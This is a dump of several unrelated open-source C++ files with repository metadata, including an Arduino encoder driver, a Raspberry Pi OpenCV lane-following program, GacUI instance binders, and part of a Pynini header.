void CalcVentilatedSlabComps(int const Item, // system index in ventilated slab array
bool const FirstHVACIteration, // flag for 1st HVAV iteration in the time step
Real64 &LoadMet // load met by the system (watts)
);
void CalcVentilatedSlabCoilOutput(int const Item, // system index in ventilated slab array
Real64 &PowerMet, // power supplied (W)
Real64 &LatOutputProvided // latent capacity supplied (kg/s)
);
void CalcVentilatedSlabRadComps(int const Item, // System index in ventilated slab array
bool const FirstHVACIteration // flag for 1st HVAV iteration in the time step !unused1208
);
void SimVentSlabOAMixer(int const Item); // System index in Ventilated Slab array
void UpdateVentilatedSlab(int const Item, // Index for the ventilated slab under consideration within the derived types
bool const FirstHVACIteration // TRUE if 1st HVAC simulation of system timestep !unused1208
);
Real64 CalcVentSlabHXEffectTerm(int const Item, // Index number of radiant system under consideration
Real64 const Temperature, // Temperature of air entering the radiant system, in C
Real64 const AirMassFlow, // Mass flow rate of water in the radiant system, in kg/s
Real64 const FlowFraction, // Mass flow rate fraction for this surface in the radiant system
Real64 const CoreLength, // Length of tubing in the radiant system, in m
Real64 const CoreDiameter, // Inside diameter of the tubing in the radiant system, in m
Real64 const CoreNumbers);
Real64 SumHATsurf(int const ZoneNum); // Zone number
void ReportVentilatedSlab(int const Item); // Index for the ventilated slab under consideration within the derived types
//*****************************************************************************************
} // namespace VentilatedSlab
} // namespace EnergyPlus
#endif
| [
"ffeng@tamu.edu"
] | ffeng@tamu.edu |
6fa308a22792b42611b396a26c93d5c8cad9c0c5 | abca98f1d6f16710d54d3abc2cdfbfd5d5ee4510 | /Software/flight-simulator-1/encoder.cpp | c9d9682caa776495b790d0022e00e60ee7829dae | [] | no_license | rocketfrogs/flight-simulator-1 | 60f0e4cd2aa6f4bbdb8ac43a968d7f72f6b31446 | 37c80dce77c782195e6eac435c16357272a3b5d5 | refs/heads/master | 2022-07-13T15:28:12.573834 | 2020-05-16T20:42:58 | 2020-05-16T20:42:58 | 258,862,681 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,744 | cpp | #include <Arduino.h>
#include "encoder.h"
/////////////////////////////////////
// Private functions and variables //
/////////////////////////////////////
namespace {
void ICACHE_RAM_ATTR pinA_rising_interrupt();
void ICACHE_RAM_ATTR pinA_falling_interrupt();
void ICACHE_RAM_ATTR pinB_rising_interrupt();
void ICACHE_RAM_ATTR pinB_falling_interrupt();
// We cannot call digitalRead() because the function is in flash and flash cannot be accessed from ISRs.
volatile int position;
int pinA;
int pinB;
// A position encoder is counting position using two sensors (two bits) between 0 and 3 using Gray code:
// position | A | B
// 0 | 0 | 0
// 1 | 0 | 1
// 2 | 1 | 1
// 3 | 1 | 0
void ICACHE_RAM_ATTR pinA_interrupt()
{
int a = digitalRead(pinA);
int b = digitalRead(pinB);
// a b position
// 0 0 ++
// 0 1 --
// 1 0 --
// 1 1 ++
if (a == b) {
position++;
} else {
position--;
}
}
void ICACHE_RAM_ATTR pinB_interrupt()
{
int a = digitalRead(pinA);
int b = digitalRead(pinB);
// a b position
// 0 0 --
// 0 1 ++
// 1 0 ++
// 1 1 --
if (a != b) {
position++;
} else {
position--;
}
}
}
//////////////////////
// Public functions //
//////////////////////
void EncoderBegin(int _pinA, int _pinB)
{
pinA = _pinA;
pinB = _pinB;
pinMode(_pinA, INPUT);
pinMode(_pinB, INPUT);
position = 0;
attachInterrupt(digitalPinToInterrupt(_pinA), pinA_interrupt, CHANGE);
attachInterrupt(digitalPinToInterrupt(_pinB), pinB_interrupt, CHANGE);
}
int EncoderGetMovement()
{
noInterrupts();
int ret = position;
position = 0;
interrupts();
return ret;
}
| [
"cedric.priscal@gmail.com"
] | cedric.priscal@gmail.com |
c53960112be9b28584645e83a1f124561d69658a | 3eec6fa6f47512f43654d3760335ada9a64d50e5 | /Raspi backup/20190909/real_final_2/real_final_2.cpp | a3ad727468a293d584f4dd4e1b8e657be13d5bda | [
"MIT"
] | permissive | radii-dev/rpi3-self-driving-model-shuttle-bus | e312aa7a4aff59ab695470e3d94fa5881b25470f | f3f050f517b33c09f0552d09fc5094d795226c75 | refs/heads/master | 2023-06-25T00:06:43.975758 | 2021-07-23T07:32:07 | 2021-07-23T07:32:07 | 388,707,625 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,891 | cpp | /* g++ real_final_2.cpp -o real_final_2 `pkg-config --libs opencv` -lwiringPi */
#include <iostream>
#include <string>
#include "opencv2/core/core.hpp"
#include "opencv2/core/utility.hpp"
#include "opencv2/imgproc/imgproc.hpp"
#include "opencv2/imgcodecs.hpp"
#include "opencv2/highgui/highgui.hpp"
#include <vector>
#include <fstream>
#include <math.h>
#include <ctime>
#include <errno.h>
#include <string.h>
#include <wiringPi.h>
#include <wiringSerial.h>
//add OpenCV namespaces
using namespace cv;
using namespace std;
// Functions for UART
void uart_ch(char ch)
{
int fd ;
if ((fd = serialOpen ("/dev/ttyAMA0", 9600)) < 0)
{
fprintf (stderr, "Unable to open serial device: %s\n", strerror (errno));
return;
}
serialPutchar(fd,ch);
serialClose(fd);
}
void uart_str(char *str)
{
while(*str) uart_ch(*str++);
}
class LineFinder {
private:
// original image
cv::Mat img;
// vector containing the end points
// of the detected lines
vector<Vec4i> lines;
// accumulator resolution parameters
double deltaRho;
double deltaTheta;
// minimum number of votes that a line
// 선으로 간주되기 전에 받아야 하는 투표 최소 개수 (threshold)
int minVote;
// 선의 최소 길이
double minLength;
// 선을 따라가는 최대 허용 간격(gap)
double maxGap;
public:
// Default accumulator resolution is 1 pixel by 1 degree
// no gap, no mimimum length
LineFinder() : deltaRho(1), deltaTheta(CV_PI/180), minVote(10), minLength(0.), maxGap(0.) {}
// Set the minimum number of votes
void setMinVote(int minv) {
minVote = minv;
}
// Set line length and gap
void setLineLengthAndGap(double length, double gap) {
minLength = length;
maxGap = gap;
}
// Apply probabilistic Hough Transform
vector<Vec4i> findLines(cv::Mat& binary) {
lines.clear();
HoughLinesP(binary, lines, deltaRho, deltaTheta, minVote, minLength, maxGap);
return lines;
}
// Draw the detected lines on an image
void drawDetectedLines(cv::Mat &image, Scalar color = Scalar(0, 0, 255)) {
// Draw the lines
vector<Vec4i>::const_iterator it2 = lines.begin();
while (it2 != lines.end()) {
if((*it2)[0] != (*it2)[2]) {
Point pt1((*it2)[0], (*it2)[1]);
Point pt2((*it2)[2], (*it2)[3]);
line(image, pt1, pt2, color, 2);
}
++it2;
}
}
//일관성 없는 방향 라인 제거
vector<Vec4i> removeLinesOfInconsistentOrientations(const cv::Mat &orientations, double percentage, double delta) {
vector<Vec4i>::iterator it = lines.begin();
// check all lines
while (it != lines.end()) {
// end points
int x1= (*it)[0];
int y1= (*it)[1];
int x2= (*it)[2];
int y2= (*it)[3];
// line orientation + 90o to get the parallel line
double ori1 = atan2(static_cast<double>(y1 - y2), static_cast<double>(x1 - x2)) + CV_PI / 2; // double 형으로 변환하는 함수를 호출!
if (ori1 > CV_PI) ori1 = ori1 - 2 * CV_PI;
double ori2 = atan2(static_cast<double>(y2 - y1), static_cast<double>(x2 - x1)) + CV_PI / 2;
if (ori2 > CV_PI) ori2 = ori2 - 2 * CV_PI;
// for all points on the line
LineIterator lit(orientations, Point(x1, y1), Point(x2, y2));
int i, count = 0;
for(i = 0, count = 0; i < lit.count; i++, ++lit) {
float ori = *(reinterpret_cast<float *>(*lit)); // lineiterate의 값들을 float형으로 인식해라!
// is line orientation similar to gradient orientation ?
if (min(fabs(ori - ori1), fabs(ori - ori2)) < delta) // fabs 부동소수점 숫자의 절대값 반환
count++;
}
double consistency = count / static_cast<double>(i); // 일관성
// set to zero lines of inconsistent orientation
if (consistency < percentage) {
(*it)[0] = (*it)[1] = (*it)[2] = (*it)[3] = 0;
}
++it;
}
return lines;
}
};
class EdgeDetector {
private:
// original image
cv::Mat img;
// 16-bit signed int image
cv::Mat sobel;
// Aperture size of the Sobel kernel
int aperture; // 조리개??
// Sobel magnitude
cv::Mat sobelMagnitude;
// Sobel orientation
cv::Mat sobelOrientation;
public:
EdgeDetector() : aperture(3) {}
// Compute the Sobel
void computeSobel(const cv::Mat& image) {
cv::Mat sobelX;
cv::Mat sobelY;
// Compute Sobel
Sobel(image, sobelX, CV_32F, 1, 0, aperture);
Sobel(image, sobelY, CV_32F, 0, 1, aperture);
// Compute magnitude and orientation
cartToPolar(sobelX, sobelY, sobelMagnitude, sobelOrientation);
}
// Get Sobel orientation
cv::Mat getOrientation() {
return sobelOrientation;
}
};
int main()
{
// to calculate fps
clock_t begin, end;
// read from video file on disk
// to read from webcam initialize as: cap = VideoCapture(int device_id);
VideoCapture cap(0);
cv::Mat source;
int vector_real = 0;
double vectorm = 0.0;
char buffer;
int times = 0;
int vetor_real_of_real = 3000;
while(cap.isOpened()) { // check if camera/ video stream is available
cap >> source;
cv::resize(source, source, cv::Size(480, 320));
if(!cap.grab())
continue;
// to calculate fps
begin = clock();
buffer = 0;
cv::Mat ROI(source, Rect(0, 240, 480, 80));
//cv::Mat ROI(source, Rect(0, 160, 480, 160));
cv::Mat tmp = ROI;
medianBlur(tmp, tmp, 5);
// Compute Sobel
EdgeDetector ed;
ed.computeSobel(tmp);
// Apply Canny algorithm
cv::Mat contours;
Canny(tmp, contours, 150, 200); // 125, 200
cv::namedWindow("contours");
imshow("contours", contours);
// Create LineFinder instance
LineFinder ld;
ld.setLineLengthAndGap(30, 20); // 50, 20
//ld.setLineLengthAndGap(80, 20); // 50, 20
ld.setMinVote(60); // 60
// Detect lines
vector<Vec4i> li = ld.findLines(contours);
// remove inconsistent lines
// ld.removeLinesOfInconsistentOrientations(ed.getOrientation(), 0.4, 0.1); // 0.4 0.1
// ld.drawDetectedLines(tmp);
vector<double> temp_2;
vector< vector<double> > lpoints;
vector< vector<double> > rpoints;
double leftLine[4] = {0,};
double rightLine[4] = {480,};
for (int i = 0; i < li.size(); i++) {
for (int j = 0; j < 4; j++) {
if(j == 1 || j == 3) li[i][j] += 240;
temp_2.push_back(li[i][j]);
}
if (li[i][1] > li[i][3] && li[i][0] != li[i][2]) lpoints.push_back(temp_2);
if (li[i][1] < li[i][3] && li[i][0] != li[i][2]) rpoints.push_back(temp_2);
temp_2.clear();
}
for (int i = 0; i < lpoints.size(); i++) {
if (lpoints[i][0] > leftLine[0]) {
for (int j = 0; j < 4; j++) leftLine[j] = lpoints[i][j];
}
}
for (int i = 0; i < rpoints.size(); i++) {
if (rpoints[i][0] < rightLine[0]) {
for (int j = 0; j < 4; j++) rightLine[j] = rpoints[i][j];
}
}
if (lpoints.empty() && rpoints.size() > 0) {
line(source, Point(rightLine[0], rightLine[1]), Point(rightLine[2], rightLine[3]), Scalar(0, 0, 255), 2, 8, 0);
//vectorm = (double)((rightLine[0] - rightLine[2]) / (rightLine[3] - rightLine[1]));
vectorm = (double)((rightLine[0] - rightLine[2]) / (rightLine[3] - rightLine[1])) * (1 - ( (float)rightLine[2] - 240)/ 320);
cout << "rightLine: ";
for (int i = 0; i < 4; i++) cout << rightLine[i] << " ";
cout << endl;
cout << "mode 1" << endl;
}
else if (rpoints.empty() && lpoints.size() > 0) {
line(source, Point(leftLine[0], leftLine[1]), Point(leftLine[2], leftLine[3]), Scalar(0, 0, 255), 2, 8, 0);
//vectorm = (double)((leftLine[2] - leftLine[0]) / (leftLine[1] - leftLine[3]));
vectorm = (double)((leftLine[2] - leftLine[0]) / (leftLine[1] - leftLine[3])) * (1 - (240 - (float)leftLine[0]) / 320);
cout << "leftLine: ";
for (int i = 0; i < 4; i++) cout << leftLine[i] << " ";
cout << endl;
cout << "mode 2" << endl;
}
else if (lpoints.empty() && rpoints.empty()) {
line(source, Point(240, 300), Point(240, 280), Scalar(0, 0, 255), 2, 8, 0);
cout << "mode 3" << endl;
}
else if (rpoints.size() > 0 && lpoints.size() > 0) {
line(source, Point(leftLine[0], leftLine[1]), Point(leftLine[2], leftLine[3]), Scalar(0, 0, 255), 2, 8, 0);
line(source, Point(rightLine[0], rightLine[1]), Point(rightLine[2], rightLine[3]), Scalar(0, 0, 255), 2, 8, 0);
line(source, (Point(rightLine[0], rightLine[1]) + Point(leftLine[2], leftLine[3])) / 2, (Point(rightLine[2], rightLine[3]) + Point(leftLine[0], leftLine[1])) / 2, Scalar(0, 0, 255), 2, 8, 0);
vectorm = (float)(leftLine[2] - leftLine[0] + rightLine[0] - rightLine[2]) / (leftLine[1] - leftLine[3] + rightLine[3] - rightLine[1]);
cout << "leftLine: ";
for (int i = 0; i < 4; i++) cout << leftLine[i] << " ";
cout << endl;
cout << "rightLine: ";
for (int i = 0; i < 4; i++) cout << rightLine[i] << " ";
cout << endl;
cout << "mode 4" << endl;
}
line(source, Point(240, 320), Point(240, 300), Scalar(255, 0, 0), 2, 8, 0);
line(source, Point(0, 240), Point(480, 240), Scalar(255, 0, 0), 2, 8, 0);
line(source, Point(0, 280), Point(640, 280), Scalar(255, 0, 0), 2, 8, 0);
if(vectorm != 0) vetor_real_of_real = int(3000 - vectorm * 680);
if(vetor_real_of_real > 3900) vector_real = 3900;
else if(vetor_real_of_real < 2100) vector_real = 2100;
else vector_real = vetor_real_of_real;
//imshow("Video", gray);
buffer += vector_real / 100;
//buffer += 21;
if(times == 3)
{
times = 0;
cout << (int)buffer << endl;
uart_ch(buffer);
}
else times++;
source.copyTo(tmp);
imshow("edge", tmp);
// to calculate fps
end = clock();
cout << "fps: " << 1 / (double(end - begin) / CLOCKS_PER_SEC) << endl;
// hit 'esc' to exit program
int k = cv::waitKey(1);
if (k == 27)
break;
}
cv::destroyAllWindows();
return 0;
}
| [
"gigaslender2@gachon.ac.kr"
] | gigaslender2@gachon.ac.kr |
6b32bcb943ce545815a3f3a1ae1733b1dd7f2981 | cd3ac7be767a14bb04b0456193de3c945e193287 | /Source/Compiler/GuiInstanceLoader_PredefinedInstanceBinders.cpp | 45edbf5ea99398ac50d12fa13ca667d8df788a51 | [] | no_license | king-etc/GacUI | 5af6dd41d044668c14fcc2654e9ea11210cb8474 | 59bb5b21802af62b3de312667ffe4457b159d4bf | refs/heads/master | 2020-03-09T11:28:16.269167 | 2018-04-09T10:08:34 | 2018-04-09T10:08:34 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,338 | cpp | #include "GuiInstanceLoader.h"
#include "WorkflowCodegen/GuiInstanceLoader_WorkflowCodegen.h"
#include "../Controls/GuiApplication.h"
#include "../Resources/GuiParserManager.h"
namespace vl
{
namespace presentation
{
using namespace collections;
using namespace reflection::description;
using namespace parsing;
using namespace workflow;
using namespace workflow::analyzer;
using namespace workflow::runtime;
using namespace controls;
using namespace stream;
/***********************************************************************
GuiResourceInstanceBinder (uri)
***********************************************************************/
class GuiResourceInstanceBinder : public Object, public IGuiInstanceBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Uri;
}
bool ApplicableToConstructorArgument()override
{
return true;
}
bool RequirePropertyExist()override
{
return false;
}
Ptr<workflow::WfExpression> GenerateConstructorArgument(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
WString protocol, path;
if (!IsResourceUrl(code, protocol, path))
{
errors.Add(GuiResourceError({ resolvingResult.resource }, position, L"Precompile: \"" + code + L"\" is not a valid resource uri."));
return nullptr;
}
else
{
return Workflow_GetUriProperty(precompileContext, resolvingResult, loader, prop, propInfo, protocol, path, position, errors);
}
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IPropertyInfo* propertyInfo, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
WString protocol, path;
if (!IsResourceUrl(code, protocol, path))
{
errors.Add(GuiResourceError({ resolvingResult.resource }, position, L"Precompile: \"" + code + L"\" is not a valid resource uri."));
return nullptr;
}
else
{
return Workflow_InstallUriProperty(precompileContext, resolvingResult, variableName, loader, prop, propInfo, protocol, path, position, errors);
}
}
};
/***********************************************************************
GuiReferenceInstanceBinder (ref)
***********************************************************************/
class GuiReferenceInstanceBinder : public Object, public IGuiInstanceBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Ref;
}
bool ApplicableToConstructorArgument()override
{
return false;
}
bool RequirePropertyExist()override
{
return false;
}
Ptr<workflow::WfExpression> GenerateConstructorArgument(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
CHECK_FAIL(L"GuiReferenceInstanceBinder::GenerateConstructorArgument()#This binder does not support binding to constructor arguments. Please call ApplicableToConstructorArgument() to determine before calling this function.");
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IPropertyInfo* propertyInfo, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
auto expression = MakePtr<WfReferenceExpression>();
expression->name.value = code;
return Workflow_InstallEvalProperty(precompileContext, resolvingResult, variableName, loader, prop, propInfo, expression, position, errors);
}
};
/***********************************************************************
GuiEvalInstanceBinder (eval)
***********************************************************************/
class GuiEvalInstanceBinder : public Object, public IGuiInstanceBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Eval;
}
bool ApplicableToConstructorArgument()override
{
return true;
}
bool RequirePropertyExist()override
{
return false;
}
Ptr<workflow::WfExpression> GenerateConstructorArgument(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
return Workflow_ParseExpression(precompileContext, { resolvingResult.resource }, code, position, errors);
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IPropertyInfo* propertyInfo, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
if(auto expression = Workflow_ParseExpression(precompileContext, { resolvingResult.resource }, code, position, errors))
{
return Workflow_InstallEvalProperty(precompileContext, resolvingResult, variableName, loader, prop, propInfo, expression, position, errors);
}
return nullptr;
}
};
/***********************************************************************
GuiBindInstanceBinder (bind)
***********************************************************************/
class GuiBindInstanceBinder : public Object, public IGuiInstanceBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Bind;
}
bool ApplicableToConstructorArgument()override
{
return false;
}
bool RequirePropertyExist()override
{
return true;
}
Ptr<workflow::WfExpression> GenerateConstructorArgument(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
CHECK_FAIL(L"GuiBindInstanceBinder::GenerateConstructorArgument()#This binder does not support binding to constructor arguments. Please call ApplicableToConstructorArgument() to determine before calling this function.");
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IPropertyInfo* propertyInfo, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
if(auto expression = Workflow_ParseExpression(precompileContext, { resolvingResult.resource }, code, position, errors))
{
auto inferExpr = MakePtr<WfInferExpression>();
inferExpr->expression = expression;
inferExpr->type = GetTypeFromTypeInfo(propertyInfo->GetReturn());
auto bindExpr = MakePtr<WfBindExpression>();
bindExpr->expression = inferExpr;
return Workflow_InstallBindProperty(precompileContext, resolvingResult, variableName, propertyInfo, bindExpr);
}
return nullptr;
}
};
/***********************************************************************
GuiFormatInstanceBinder (format)
***********************************************************************/
class GuiFormatInstanceBinder : public Object, public IGuiInstanceBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Format;
}
bool ApplicableToConstructorArgument()override
{
return false;
}
bool RequirePropertyExist()override
{
return true;
}
Ptr<workflow::WfExpression> GenerateConstructorArgument(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
CHECK_FAIL(L"GuiFormatInstanceBinder::GenerateConstructorArgument()#This binder does not support binding to constructor arguments. Please call ApplicableToConstructorArgument() to determine before calling this function.");
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IPropertyInfo* propertyInfo, IGuiInstanceLoader* loader, const IGuiInstanceLoader::PropertyInfo& prop, Ptr<GuiInstancePropertyInfo> propInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
if (auto expression = Workflow_ParseExpression(precompileContext, { resolvingResult.resource }, L"bind($\"" + code + L"\")", position, errors, { 0,7 })) // bind($"
{
return Workflow_InstallBindProperty(precompileContext, resolvingResult, variableName, propertyInfo, expression);
}
return nullptr;
}
};
/***********************************************************************
GuiEvalInstanceEventBinder (eval)
***********************************************************************/
class GuiEvalInstanceEventBinder : public Object, public IGuiInstanceEventBinder
{
public:
GlobalStringKey GetBindingName()override
{
return GlobalStringKey::_Eval;
}
Ptr<workflow::WfStatement> GenerateInstallStatement(GuiResourcePrecompileContext& precompileContext, types::ResolvingResult& resolvingResult, GlobalStringKey variableName, description::IEventInfo* eventInfo, const WString& code, GuiResourceTextPos position, GuiResourceError::List& errors)override
{
bool coroutine = false;
{
auto reading = code.Buffer();
while (true)
{
switch (*reading)
{
case ' ':
case '\t':
case '\r':
case '\n':
reading++;
break;
default:
goto BEGIN_TESTING;
}
}
BEGIN_TESTING:
coroutine = *reading == '$';
}
auto parseFunction = coroutine ? &Workflow_ParseCoProviderStatement : &Workflow_ParseStatement;
if (auto statement = parseFunction(precompileContext, { resolvingResult.resource }, code, position, errors, { 0,0 }))
{
return Workflow_InstallEvalEvent(precompileContext, resolvingResult, variableName, eventInfo, statement);
}
return nullptr;
}
};
/***********************************************************************
GuiPredefinedInstanceBindersPlugin
***********************************************************************/
class GuiPredefinedInstanceBindersPlugin : public Object, public IGuiPlugin
{
public:
GUI_PLUGIN_NAME(GacUI_Compiler_ParsersAndBinders)
{
GUI_PLUGIN_DEPEND(GacUI_Parser);
GUI_PLUGIN_DEPEND(GacUI_Res_ResourceResolver);
GUI_PLUGIN_DEPEND(GacUI_Instance);
GUI_PLUGIN_DEPEND(GacUI_Instance_Reflection);
}
void Load()override
{
WfLoadTypes();
GuiIqLoadTypes();
{
IGuiParserManager* manager = GetParserManager();
manager->SetParsingTable(L"WORKFLOW", &WfLoadTable);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-TYPE", &WfParseType);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-EXPRESSION", &WfParseExpression);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-STATEMENT", &WfParseStatement);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-COPROVIDER-STATEMENT", &WfParseCoProviderStatement);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-DECLARATION", &WfParseDeclaration);
manager->SetTableParser(L"WORKFLOW", L"WORKFLOW-MODULE", &WfParseModule);
manager->SetParsingTable(L"INSTANCE-QUERY", &GuiIqLoadTable);
manager->SetTableParser(L"INSTANCE-QUERY", L"INSTANCE-QUERY", &GuiIqParse);
}
{
IGuiInstanceLoaderManager* manager=GetInstanceLoaderManager();
manager->AddInstanceBinder(new GuiResourceInstanceBinder);
manager->AddInstanceBinder(new GuiReferenceInstanceBinder);
manager->AddInstanceBinder(new GuiEvalInstanceBinder);
manager->AddInstanceEventBinder(new GuiEvalInstanceEventBinder);
manager->AddInstanceBinder(new GuiBindInstanceBinder);
manager->AddInstanceBinder(new GuiFormatInstanceBinder);
}
}
void Unload()override
{
}
};
GUI_REGISTER_PLUGIN(GuiPredefinedInstanceBindersPlugin)
}
}
| [
"vczh@163.com"
] | vczh@163.com |
84813f28fd8357a04f98a23632681be076e18f72 | 3250977ae69575b85d404abb7616e97fef13903d | /Asset_generation/Generate_Camera/dependencies/camera.h | 931ee40af5c256f1f5e8fb8a70c403c7d2a8c855 | [] | no_license | daRoyalCacti/Graphics | 2f21b2959ee29b294ba503c6dfd51d20971fec65 | 0e1c8ba58cfe87d0f427f7f73e2c43e5ed08eb11 | refs/heads/master | 2023-02-22T10:03:26.009339 | 2021-01-23T02:26:41 | 2021-01-23T02:26:41 | 279,774,036 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,727 | h | #pragma once
#include <glm/glm.hpp>
#include <vector>
namespace Camera_Generation {
struct Camera {
//std::string file_location;
const uint32_t no_frames;
//std::vector<glm::vec3> positions;
//std::vector<float> yaws;
//std::vector<float> pitches;
//Camera(std::string file, const uint32_t frames) : file_location(file), no_frames(frames) {positions.resize(frames); yaws.resize(frames); pitches.resize(frames);}.
Camera(const uint32_t frames) : no_frames(frames){}
/*inline void set_positions(std::vector<glm::vec3> pos) {
positions = pos;
}
inline void set_pitch(std::vector<float> pitch) {
pitches = pitch;
}
inline void set_yaw(std::vector<float> yaw) {
yaws = yaw;
}*/
template <typename T, typename U, typename V>
inline void write(const std::string file_location, const T positions, const U yaws, const V pitches) {
std::ofstream data(file_location + "data.bin", std::ios::binary);
data.write((char*)&no_frames, sizeof(uint32_t));
data.close();
std::ofstream pos(file_location + "pos.bin", std::ios::binary);
pos.write((char*)&positions[0], sizeof(glm::vec3) * positions.size());
pos.close();
std::ofstream yaw(file_location + "yaw.bin", std::ios::binary);
yaw.write((char*)&yaws[0], sizeof(float) * yaws.size());
yaw.close();
std::ofstream pitch(file_location + "pitch.bin", std::ios::binary);
pitch.write((char*)&pitches[0], sizeof(float) * pitches.size());
pitch.close();
}
//__attribute__((const)) static inline const std::string get_main_output() {
// return "/home/george/Documents/Projects/Major-3D/3D-drawing/Camera/";
//}
};
}
| [
"srdrmrdave@gmail.com"
] | srdrmrdave@gmail.com |
f9bcc4212bd052651c7035b559936d93f77411f4 | 2ed032e98a1079acba871624abb03f77ab2b4fbe | /BlackCard.h | ff5df937599e085e024383529d249ced116ea592 | [] | no_license | Demesta/Card_Game | 1c2727a3917f3b4d80bb9004b8da074323925e4e | d58a79984b819284808187510e9baec49d9cafb1 | refs/heads/master | 2022-04-03T04:24:23.883960 | 2020-02-22T16:37:49 | 2020-02-22T16:37:49 | 242,003,941 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 83 | h | #include "Card.h"
class BlackCard : public Card
{
bool isReleaved;
};
| [
"noreply@github.com"
] | noreply@github.com |
fbdd3cdfeeb7cca8920f4da3a70020c052931d75 | e19e02b031fdf08c1840f53c176f4c921736ffc1 | /src/pynini_common.h | 8ab18d81061c7bf8abf33024393e89625c1df2e7 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | rottenjonny88/pynini | 4bdf6fe692a1666fc0c85e19610fc4d6ad79fd88 | f2fa2cc5704f028d85c6a4ce1e0d51abb0599b77 | refs/heads/master | 2022-01-12T06:46:02.697117 | 2019-05-07T14:19:10 | 2019-05-07T14:19:10 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,164 | h | // Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Copyright 2017 and onwards Google, Inc.
//
// For general information on the Pynini grammar compilation library, see
// pynini.opengrm.org.
#ifndef PYNINI_PYNINI_COMMON_H_
#define PYNINI_PYNINI_COMMON_H_
// This header defines internal namespace utility functions.
#include <fst/fstlib.h>
#include "mergesymbols.h"
namespace fst {
namespace internal {
// Helpers for preparing FST symbol tables for context-dependent rewrite
// rule application and replacement.
// The caller owns the returned symbol table and should delete it (or capture
// it into a unique_ptr) to prevent leaks.
template <class Arc>
SymbolTable *PrepareInputSymbols(SymbolTable *syms, MutableFst<Arc> *fst) {
bool relabel = false;
auto *const new_syms = MergeSymbols(syms, fst->InputSymbols(), &relabel);
if (!new_syms) return syms ? syms->Copy() : nullptr;
if (relabel) Relabel(fst, new_syms, nullptr);
return new_syms;
}
// The caller owns the returned symbol table and should delete it (or capture
// it into a unique_ptr) to prevent leaks.
template <class Arc>
SymbolTable *PrepareOutputSymbols(SymbolTable *syms, MutableFst<Arc> *fst) {
bool relabel = false;
auto *const new_syms = MergeSymbols(syms, fst->OutputSymbols(), &relabel);
if (!new_syms) return syms ? syms->Copy() : nullptr;
if (relabel) Relabel(fst, nullptr, new_syms);
return new_syms;
}
